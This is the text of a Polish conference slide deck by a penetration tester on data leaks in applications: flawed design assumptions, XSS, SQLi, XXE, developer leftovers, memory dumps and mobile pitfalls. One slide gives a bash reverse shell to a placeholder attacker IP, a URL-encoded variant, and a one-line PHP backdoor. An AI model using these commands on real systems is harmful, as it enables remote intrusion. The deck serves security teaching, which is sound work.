View
398
Download
0
Category
Preview:
Citation preview
Wyciek danych w aplikacjach
Artur Michał Kalinowski
Bio
Artur Michał Kalinowski (amk78)– pentester w LogicalTrust
– wcześniej pentester, administrator, programista, ...
– wykładowca (informatyka śledcza, bezpieczeństwo IT…)
– współpraca z {„gov”} w zakresie informatyki śledczej i bezpieczeństwa IT
– członek zespołu administracyjnego na forum związanym z bezpieczeństwem IT
– autor książki „Metody inwigilacji i elementy informatyki śledczej”
● Testy penetracyjne● Audyty bezpieczeństwa● Szkolenia● Konsultacje● Informatyka śledcza● Aplikacje mobilne
> 10 lat - testy bezpieczeństwa
Edukacja: www.bothunters.pl ~ 8 lat blogowania o cyberprzestępcach
Confidence, SEMAFOR, SECURE, Atak i Obrona, Security Case Study, Internet Banking Security, ISSA, SecureCON, SEConference, SekIT, PTI, Open Source Security, PLNOG (…)
Zagadnienia
● Błędne założenia projektowe podstawą przyszłych kłopotów● Typowe błędy, które niosą poważne konsekwencje● Na co zwraca uwagę atakujący● Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji● Analiza działania aplikacji ● Pozostałości developerskie, środowiska testowe oraz niewłaściwa konfiguracja
środowisk produkcyjnych ● "Bez komentarza" :) ● Pozyskiwanie wrażliwych danych z pamięci operacyjnej ● Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki? ● Aplikacje mobilne a bezpieczeństwo
Wyciek danych
Źródło: http://www.redorbit.com/media/uploads/2013/09/dataleaks.jpg--2016-03-31
Źródło: Google
Źródło: http://swagct.com/uploads/2012/03/1_1332498132.jpg
Wyciek danych
● Czym jest wyciek danych i z czego często wynika– niewiedza, brak motywacji, brak polityk, wzorców, zasad
– niewłaściwe środowisko, konfiguracja, brak odpowiednich rozwiązań
– presja czasu, budżet (przesunięcia, cięcia, ograniczenia)
– chęć zemsty, sławy
Źródło: http://www.observeit.com/sites/default/files/content_images/blog_images/data-leak1.jpg
Wyciek danych
● Wycieki danych– przypadkowe / niezamierzone (np. na skutek błędów)
– celowe (np. pozostawione celowo luki)
– prowokowane (np. celowe doprowadzenie do wycieku poprzez zainicjowanie odpowiednich działań)
Źródło: http://blogs.intralinks.com/collaborista/wp-content/uploads/sites/2/2014/02/Bitcoin2-696x398.png
Wyciek danych
Pozornie niewinne żarty mogą być z łatwością zaadoptowane do rzeczywistych ataków.
Wyciek danych
$_GET['a']($_GET['b']);
Niektóre wycieki danych mogą być wynikiem celowo pozostawionych furtek.
Wyciek danych
Reverse shell z użyciem basha:bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1
tworzymy odpowiedni plik po stronie serwera, który następnie uruchamiamy:
echo "/bin/bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1" > b && /bin/bash b
pamiętamy o odpowiednim kodowaniu:php -r "echo urlencode('echo \"/bin/bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1\" > b && /bin/bash b');"
echo+%22%2Fbin%2Fbash+-i+%3E%26+%2Fdev%2Ftcp%2FIP_ATAKUJACEGO%2F443+0%3E%261%22+%3E+b+%26%26+%2Fbin%2Fbash+b
Wyciek danych
umieszczamy dane w URLu ...
… w efekcie serwer łączy się z nami i uzyskujemy dostęp do wiersza poleceń:
Wyciek danych
● Częste przyczyny i źródła wycieku danychsieć m.in. :
● niewłaściwa ochrona komunikacji,● zła separacja, ● niewłaściwe zarządzanie dostępem i monitoring
Źródło: http://infosystem1.com/wp-content/uploads/2013/09/network-security.jpg
Wyciek danych
● Częste przyczyny i źródła wycieku danych– przykład – pozyskanie IP z sieci wewnętrznej
1) zmiana wersji protokołu z HTTP/1.1 na HTTP/1.0
2) usunięcie pola host z nagłówka żądania
w efekcie:● atakujący zna IP serwera● atakujący zna adresację w sieci, w której znajduje się serwer
proste wykorzystanie:● img z adresem z ujawnionej puli + /icons/right.gif● zdarzenie onload lub onerror● wysłanie linka do spreparowanej strony użytkownikowi
w firmie
Wyciek danych
W efekcie uzyskujemy adresy IP z sieci wewnętrznej, na których uruchomiony jest, z dużym prawdopodobieństwem, serwer Apache.
Analogicznie, na podstawie charakterystycznych lokalizacji zasobów, można zidentyfikować również obecność innych aplikacji w sieci lokalnej.
Wyciek danych
● Częste przyczyny i źródła wycieku danychsystem m.in. :
● niewłaściwa konfiguracja (np. dostępu, aktualizacji, ochrony danych, wpad),
● zrzuty pamięci (np. w wyniku błędów bądź inicjowane przez użytkownika)
● system plików:– pliki tymczasowe– pliki wymiany, hibernacji– metadane– usunięte pliki– slack space– … Źródło:http://osheaven.net/wp-content/uploads/2011/07/data-security.jpg
Wyciek danych
Wyciek danych
● Częste przyczyny i źródła wycieku danychusługi:
● banery,● dane w nagłówkach odpowiedzi, informacje o systemie
i komponentach, ● komunikaty o błędach, ● znane zasoby, ● pliki konfiguracyjne (w tym też .htaccess, robots,
a czasem nawet .bash_history)● .csv, .svn, .git, ● /server-status, /status, ● VRFY
Wyciek danych
● Częste przyczyny i źródła wycieku danych
W przykładzie wykorzystano apache.org. W celu zobrazowania ewentualnego wycieku danych użyto fikcyjnych parametrów.
Wyciek danych
● Częste przyczyny i źródła wycieku danych
Wyciek danych
● Częste przyczyny i źródła wycieku danychaplikacje m.in. :
– pliki konfiguracyjne, includowane,
– intuicyjne nazwy zasobów,
– walidacja jedynie po stronie UI,
– niewłaściwe filtrowanie potencjalnie szkodliwego kodu,
– poleganie na danych wejściowych z niezaufanych źródeł,
– niewłaściwa obsługa uploadu plików,
– brak weryfikacji integralności plików danych lub konfiguracji,
– brak zaciemniania kodu,
– niewłaściwe miejsca składowania danych,
– logowanie danych wrażliwych,
– ...
Wyciek danych
● Częste przyczyny i źródła wycieku danych
Źródło: Google
Wyciek danych
● Częste przyczyny i źródła wycieku danychdane:
● backupy (w tym niewłaściwa polityka składowania, przesyłu, usuwania)● statystyki, logi, dane przykładowe/testowe● pliki z metadanymi (dokumenty, grafika)
użytkownicy: ● wklejenie danych ze schowka, ● użycie podobnych haseł, ● omyłkowe użycie haseł, ● przesłanie danych (np. chęć pomocy, pokazania czegoś ciekawego)● przesłanie danych w złe miejsce (np. wydruk), ● pozostawienie wydruku, ● niewłaściwe zniszczenie danych (np. wyrzucenie do kosza
błędnie/częściowo wydrukowanych dokumentów)
Błędne założenia projektowe
● Niewłaściwa walidacja danych– walidacja jedynie części danych
np. danych z GET/POST
– walidacja po stronie aplikacji (UI)
bez walidacji po stronie serwera
– brak walidacji typów zmiennych
– akceptacja danych dostarczonych w dowolny sposób (POST→GET, Cookie → GET itp.)
– neutralizacja potencjalnie szkodliwych danych na wyjściu, a nie na wejściu
Źródło: http://i.imgur.com/GluNcro.jpg
Błędne założenia projektowe
● Niewłaściwa walidacja danych– brak walidacji niektórych danych
np. pola Host przesyłanego w żądaniu
– poleganie na wartościach kontrolowanych przez użytkownikaUser-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)
– walidacja danych pod względem właściwego typu, ale bez uwzględnienia granicznych wartości
id=-1, id=9999999999999
– brak walidacji pod kątem dopuszczalnych wartości m.in.:możliwych do wczytania plików,
możliwych nazw przesyłanych plików,
identyfikatorów rekordów danych dostępnych dla danego użytkownika
...
Błędne założenia projektowe
● Niewłaściwa ochrona komunikacji– brak użycia funkcji kryptograficznych
– kodowanie zamiast szyfrowania
– użycie „własnych” (podatnych na kryptoanalizę) rozwiązań
– łączenie treści (na jednej stronie dostępne treści pobierane przy użyciu szyfrowanego oraz nieszyfrowanego połączenia)
– brak wymuszenia szyfrowania lub przesyłania danych szyfrowanymi kanałami (HSTS, flaga Secure)
– niewłaściwe użycie funkcji (np. random, zamiast jej bezpiecznego odpowiednika)
– użycie „słabych” funkcji hashujących i algorytmów kryptograficznych
– brak weryfikacji poprawności certyfikatów Źródło: http://bi.gazeta.pl/im/a4/89/dd/z14518692Q,Klucz-zostawil-pod-wycieraczka.jpg
Błędne założenia projektowe
● Niewłaściwe składowanie danych– brak szyfrowania istotnych informacji
– brak weryfikacji integralności danych
– wrażliwe dane w niewłaściwych miejscach (SD)
– kopie zapasowe, logi, uploadowane pliki w publicznie dostępnych miejscach
– niewłaściwe usuwanie/pozostawienie danych
– błędne zarządzanie pamięcią cache
– zapamiętywanie danych formularzy
– znaki wykorzystywane jako separatory pól nie są neutralizowane w danych wejściowych (np. dane zapisywane do pliku, kolumny oddzielone znakiem „|”, a znak „|” nie jest filtrowany i może być użyty np. w nazwie użytkownika).
Źródło: https://d.justpo.st/media/images/2014/09/10dd7c2fc17e23e9034fdff552bf5f71.jpg
Błędne założenia projektowe
● Niewłaściwe oczyszczanie danych– dopuszczenie użycia znaków, które mogą wpłynąć na
logikę działania aplikacji (np. zmienić treść zapytania sql)
– oczyszczanie danych podczas odsyłania treści do aplikacji, a nie przed zapisem danych wejściowych do bazy
– mniejsze restrykcje w stosunku do danych importowanych („słabsza” walidacja)
– poleganie jedynie na frameworku (założenie, że nikt nie utworzy własnej funkcji obsługującej dane, że nikt nie zmieni konfiguracji itp.)
Błędne założenia projektowe
● Niewłaściwe oczyszczanie danych
Źródło: https://hackadaycom.files.wordpress.com/2014/04/18mpenleoksq8jpg.jpg?w=636
Błędne założenia projektowe
● Niewłaściwe zarządzanie uprawnieniami– brak spójności pomiędzy funkcjami dostępnymi w interfejsie
użytkownika, a rzeczywistymi uprawnieniami (ograniczenie na zasadzie braku dostępnej danej funkcji w interfejsie)
– brak ochrony zasobów (np. uploadowanych plików, znając nazwę i lokalizację można pozyskać plik)
– dostęp na podstawie danych z niezaufanych źródeł (np. na podstawie IP przesyłanego w X-Forwarded-For)
– brak weryfikacji integralności uprawnień (możliwość zmiany uprawnień poprzez modyfikację plików konfiguracyjnych, zmianę cookies, parametrów URL itp.)
– ...
Błędne założenia projektowe
● Brak uwzględnienia kwestii bezpieczeństwa– wrażliwe dane lub tokeny przesyłane w URL
– linki do zewnętrznych serwisów ze stron, których URLe zawierają istotne informacje (referer)
– brak właściwej obsługi wyjątków, szczegółowe informacje o błędach, w tym fragmenty zapytań i danych
– użycie niezaufanych lub nieaktualnych komponentów, brak uwzględnienia właściwej polityki aktualizacji i utrzymania aplikacji
– ...
Błędne założenia projektowe
Błędne założenia projektowe
Typowe błędy, które niosą poważne konsekwencje
● XSS Niewłaściwie oczyszczane dane wejściowe umożliwiają osadzenie własnego kodu, a przez to przejęcie kontroli nad treścią wyświetlanej strony.
– śledzenie działań użytkownika
– dostęp do treści przeznaczonej dla danego użytkownika (w tym informacji wrażliwych)
– możliwość modyfikacji treści (manipulacji danymi, osadzenia „szkodliwych” treści np. plików)
– przekierowanie na fałszywą stronę (phishing)
Typowe błędy, które niosą poważne konsekwencje
● XSS – pozyskanie hasła
Typowe błędy, które niosą poważne konsekwencje
● XSS – w połączeniu z Metasploitem
Typowe błędy, które niosą poważne konsekwencje
● SQLi
Często widoczne fragmenty zapytań bądź nawet danych. Informacje o błędach ujawniające rodzaj stosowanego rozwiązania, charakterystyczne zachowanie, opóźnienia czasowe itp.– pozyskanie informacji o środowisku
– pozyskanie informacji o użytkownikach
– pozyskanie danych z bazy
– manipulacja danymi (np. zmiana sald)
– dodanie użytkownika do systemu
– podwyższenie uprawnień użytkowników
– dostęp do plików
– umieszczenie „złośliwych” skryptów, dostęp do konsoli
Typowe błędy, które niosą poważne konsekwencje
Typowe błędy, które niosą poważne konsekwencje
Typowe błędy, które niosą poważne konsekwencje
Typowe błędy, które niosą poważne konsekwencje
Typowe błędy, które niosą poważne konsekwencje
● XXE
Pozyskanie danych z systemu; plików konfiguracyjnych, listy użytkowników, danych o środowisku...– zakłócenie pracy aplikacji (DoS)
– pozyskanie kodu źródłowego np. .php, w tym ujawnienie danych dostępowych do baz itp.
– ...
Typowe błędy, które niosą poważne konsekwencje
● XXE – pozyskanie listy użytkowników systemu
Typowe błędy, które niosą poważne konsekwencje
● XXE – odczyt plików .php (najpierw szukamy...)
Typowe błędy, które niosą poważne konsekwencje
● XXE– odczytanie zawartości pliku php
Typowe błędy, które niosą poważne konsekwencje
● Brak szyfrowania danych– nieuprawniony dostęp do informacji i jej ujawnienie
– pozyskanie danych uwierzytelniających
– działania w imieniu uprawnionego użytkownika
– manipulacja przesyłanymi danymi
– zakłócenie pracy aplikacji
– ...
Typowe błędy, które niosą poważne konsekwencje
● MITM - pozyskanie przesyłanych danych
Typowe błędy, które niosą poważne konsekwencje
● Wykorzystanie przewidywalnych wartości● przewidywalne identyfikatory (w tym id sesji),● wartości tokenów, ● nazwy kont użytkowników, ● lokalizacja i nazwy plików...
– dostęp do danych innych użytkowników
– dostęp do plików z poziomu niezalogowanych użytkowników
– przejęcie sesji innego użytkownika
– dokonywanie/anulowanie zamówień jako inny użytkownik
– ...
Typowe błędy, które niosą poważne konsekwencje
● Brak zaciemnienia kodu
Łatwa analiza działania oraz identyfikacja potencjalnych podatności.– hardcodowane dane (hasła)
– możliwość wyszukiwania podatnych funkcji i niebezpiecznych konstrukcji (grep + słownik)
– ujawnienie struktur danych, zapytań
– ...
Typowe błędy, które niosą poważne konsekwencje
● Odsyłanie informacji o błędach
Pozwala pozyskać istotne dane i zredukować czas potrzebny na rozpoznanie oraz ilość informacji w logach, które mogą wskazywać na rozpoczęcie ataku.– identyfikacja użytkowników (np. wewnętrznych,
wykorzystywanych po stronie serwera)
– identyfikacja technologii
– informacje o stosowanym oprogramowaniu
– informacje o lokalizacji zasobów
– identyfikacja użytych funkcji i przyczyn błędów
– wskazówki (jakie wartości są akceptowane – ułatwia dalsze ataki)
– identyfikacja obecności użytkownika, zasobu itp.
Typowe błędy, które niosą poważne konsekwencje
● Użycie niewłaściwych funkcji– przepełnienia bufora (pominięcie logowania, dostęp do danych)
– niewłaściwe generatory pseudolosowe (przewidywalne wartości)
– niewłaściwe funkcje hashujące (możliwość kolizji)
– niewłaściwe algorytmy szyfrowania lub protokoły (możliwość pozyskania treści przesyłanych w szyfrowanym połączeniu)
– …
● Niewłaściwe wytwarzanie oprogramowania● możliwe debugowanie,● brak ochrony stosu,● pozostawianie dokumentacji roboczej i informacji o błędach w publicznym miejscu, ● wykorzystanie gotowego kodu z innych aplikacji bez uwzględniania specyfikacji
obecnych wymagań,...
– możliwość przejęcia kontroli nad aplikacją, a nawet systemem
Typowe błędy, które niosą poważne konsekwencje
Na co zwraca uwagę atakujący
● publicznie dostępne informacje – użycie wyszukiwarek celem zdobycia informacji m.in. o:
● ostrzeżeniach, błędach, komunikatach, ● plikach składowych (index.of), ● panelach administracyjnych, ● rodzajach plików (np. .asp, .php), lokalizacji, kopii plików● metadanych● adresach URL
– wpisy na forach● dyskusje programistów związanych z daną aplikacją● dyskusje związane ze znalezionymi przez „wolontariuszy” lukami
● identyfikacja technologii: banery, nagłówki, informacje o błędach, środowisku, komponentach, domyślne strony i zasoby, pliki składowe– poszukiwanie luk związanych ze zidentyfikowaną technologią
i komponentami
Na co zwraca uwagę atakujący
● rodzaj aplikacji, przetwarzanych danych, powiązania z innymi usługami (czy na serwerze obecne inne usługi, które można wykorzystać)– przewidywalność danych (tokenów, identyfikatorów, id sesji, nazw plików)
– obecność logów, statystyk, paneli administracyjnych
● konfiguracja środowiska (czy domyślna, robocza itp.)– domyślne zasoby,
– stosowane mechanizmy zabezpieczeń i monitoringu
– aktualność komponentów
– raportowanie błędów
– ochrona przed zautomatyzowanymi działaniami
● mechanizmy filtrowania i walidacji● mechanizmy uploadu/backupu/importu● polityki bezpieczeństwa: haseł, backupów, utrzymania aplikacji
Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji
● Serwisy online– https://archive.org/web/
– Bing, Google, …
– netcraft
– https://www.shodan.io/
– robtex, virustotal, …
– Facebook, LinkedIn, ...
...
Źródło: archive.org
Źródło: www.shodan.io
Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji
– skanery (np. OWASP ZAP, nikto, sqlmap, Nmap z odpowiednimi skryptami NSE…)
– skanery zasobów (np. DirBuster)
– fuzzery (np. wfuzz)
– proxy (np. OWASP ZAP, Burp)
– frameworki (np. Metasploit)
– łamacze haseł/odgadywanie haseł (np. john, Hydra, Medusa)
– narzędzia konsolowe:curl, openssl, (n)grep, theHarvester, foremost, driftnet, dsniff, exiftool, gooscan, goofile ...
– inne (np. evilgrade)
Analiza działania aplikacji
● czy aplikacja da się uruchomić w kontrolowanym przez nas środowisku (możliwość monitorowania, wstrzymania, podmiany danych, odczytania tymczasowych danych przed usunięciem)
● z jakich komponentów korzysta i jak je weryfikuje (możliwość podmiany)
● jak przetwarza dane wejściowe (czy i na którym etapie je waliduje/oczyszcza)
● czy łączy się do innych hostów (czy połączenie szyfrowane)● jakich funkcji używa (czy są one bezpieczne)● gdzie zapisuje dane robocze i co umieszczane w logach● jakie informacje umieszcza w komunikatach o błędach
Pozostałości developerskie
● odwołania do środowiska developerskiego w kodzie● zasoby testowe, konsole testowe/developerskie● konta testowe● informacje logowane w konsoli● flagi/parametry umożliwiające uwierzytelnienie● funkcje resetowania ustawień, instalatory● zasoby związane z rozwojem aplikacji (repozytoria plików, historia
zmian, zadania do wykonania, dokumentacja projektowa/testowa)● pliki tymczasowe, kopie, stare wersje plików● zrzuty pustych baz (struktur) lub stanów początkowych● zdalny dostęp, aktywne dodatkowe usługi● niewyczyszczone logi oraz dane testowe
Pozostałości developerskie
Pozostałości developerskie
Środowiska developerskie i testowe
● niewłaściwa kontrola dostępu (publiczny dostęp do aplikacji lub jej zasobów)
● zindeksowanie informacji o błędach oraz struktury katalogowej
● wycieki fragmentów kodu● brak wykorzystania kryptografii● tylne furtki (do szybkiego dostępu i zmian)● modyfikacje z pominięciem procesu dokumentowania
zmian● użycie rzeczywistych danych (danych produkcyjnych)● ...
Środowiska produkcyjne
● niewłaściwe wdrożenia– niekompletna lub domyślna konfiguracja
– niekompletny lub nieprzetestowany kod
– szybkie poprawki funkcjonalne lub maskujące błędy
– pozostawienie danych lub dostępów testowych
– niewłaściwe przekazanie danych dostępowych
– niedostateczne przetestowanie/poznanie rozwiązań przez użytkowników i administratorów
● utrzymanie aplikacji– niewłaściwe procedury backupów (tworzenia/składowania/przywracania)
– niewłaściwe procedury aktualizacji
– niewłaściwa/niebezpieczna konfiguracja mechanizmów kontroli dostępu i wymiany danych
● migracja i modyfikacje funkcjonalności– migracja danych we własnym zakresie (własne rozwiązania)
– działania poza interfejsem aplikacji (np. operacje bezpośrednio na bazie)
Komentarze
● szczegółowe opisy kodu (np. parametrów funkcji)ułatwia atakującemu analizę aplikacji i szukanie luk
● opisy planowanych funkcjonalności (np. „tu będzie dodatkowe pole komentarza”)
ciekawe czy jest już to po stronie serwera obsługiwane?
● opisy problemów (np. „tu coś się psuło, więc trzeba było wyłączyć”)czy wyłączone tylko w UI, czy po stronie serwera też wyłączona obsługa?
coś się psuje – dobry trop!
● zakomentowane fragmenty funkcji – oznacza, że z jakiegoś powodu funkcje zostały wyłączone
z jakiego?, może coś nie działało jak trzeba?
● ToDo (np. „zrobić walidację”, „ograniczyć zakres”, „ograniczyć uprawnienia”)
dobrze wiedzieć co nie działa :)
Pozyskiwanie wrażliwych danych z pamięci operacyjnej
● zrzut pamięci procesunp. procdump -ma program.exe
● zrzut całej pamięci RAMnp. Dumpit.exe
● zrzut pamięci jądranp. C:\Windows\Minidump\Minidump.dmp
● pozyskiwanie ciągów tekstowych ze zrzutów np. strings -n 6 program.exe.dmp > program.exe.txt
● pozyskiwanie danych binarnychnp. foremost -o program.exe.dmp
Pozyskiwanie wrażliwych danych z pamięci operacyjnej
Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki
● Podejście atakującego– wykorzystać siłę i zasoby przeciwnika przeciwko niemu
przykład – w firmie stosowane są hasła, które muszą: ● mieć przynajmniej 12 znaków● zawierać zarówno małe jak i wielkie litery● zawierać cyfry● zawierać znaki specjalne
co robi atakujący:● przeszukuje zasoby pamięci/danych np. z użyciem np. strings + grep i szuka
ciągów, które zawierają jednocześnie:– duże i małe litery, cyfry, znaki specjalne i mają przynajmniej 12 znaków
● dzięki temu znacznie ogranicza zbiór potencjalnych haseł np. z kilkudziesięciu/kilkuset MB (wielkość zrzutu procesu), do około kilku KB (np. 100 możliwych ciągów), które odpowiadają wzorcowi przyjętemu dla hasła
● atak wymaga jedynie sprawdzenia niewielkiej ilości potencjalnych haseł
Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki
● Podejście atakującego– wykorzystać siłę i zasoby przeciwnika przeciwko niemu
przykład 2 – w firmie hasła do systemów i aplikacji są zmieniane co 30 dni:
● jest wielu użytkowników● użytkownicy mają dostęp do wielu systemów/aplikacji● muszą się codziennie wiele razy logować
jakie wnioski można z tego wyciągnąć atakujący:● hasła do systemów i aplikacji będą podobne ● użytkownicy użyją schematów np. będą tworzyć hasła w
oparciu o miesiące lub wybrane słowo i kolejne dni● pozyskanie hasła do jednej z aplikacji otwiera furtkę do innych
Aplikacje mobilne a bezpieczeństwo
● Częste błędy:– brak zabezpieczeń kryptograficznych dla istotnych danych
– „wrażliwe” informacje zapisywane do logów
– brak weryfikacji certyfikatów
– dane zapisywane na karcie SD
– zła randomizacja
– brak „zaciemnienia” kodu
– osadzanie haseł i innych „wrażliwych” danych w aplikacji
– api mobilne mniej restrykcyjne w stosunku do restrykcji w przypadku stron WWW
Aplikacje mobilne a bezpieczeństwo
Aplikacje mobilne a bezpieczeństwo
Podsumowanie
● nawet pozornie nieszkodliwe informacje mogą być cenną wskazówką dla atakującego
● jeżeli jakieś dane wyciekną do Internetu, to najprawdopodobniej zostaną powielone n razy w x miejscach
● atakujący często może pozyskać dużo istotnych danych pasywnie - bez nawiązywania połączenia z naszymi serwerami/siecią
● nigdy nie należy zakładać, że atakujący użyje aplikacji zgodnie z jej przeznaczeniem i w spodziewanym środowisku
● wycieki informacji/danych są zaproszeniem dla atakującego i często prowadzą do przykrych konsekwencji
● wycieki mogą powstawać w najmniej spodziewanych miejscach, często przez roztargnienie, niedopatrzenie, niewiedzę
● fałszywy, kontrolowany wyciek może być ciekawą bronią
Dziękuję za uwagę
● Pytania?
Prezentowany materiał przeznaczony wyłącznie do celów edukacyjnych.
Wszelkie nazwy, zdjęcia, znaki firmowe i towarowe niebędące własnością prelegenta oraz firmy, należą do ich właścicieli i zostały użyte jedynie w celach informacyjnych.
Recommended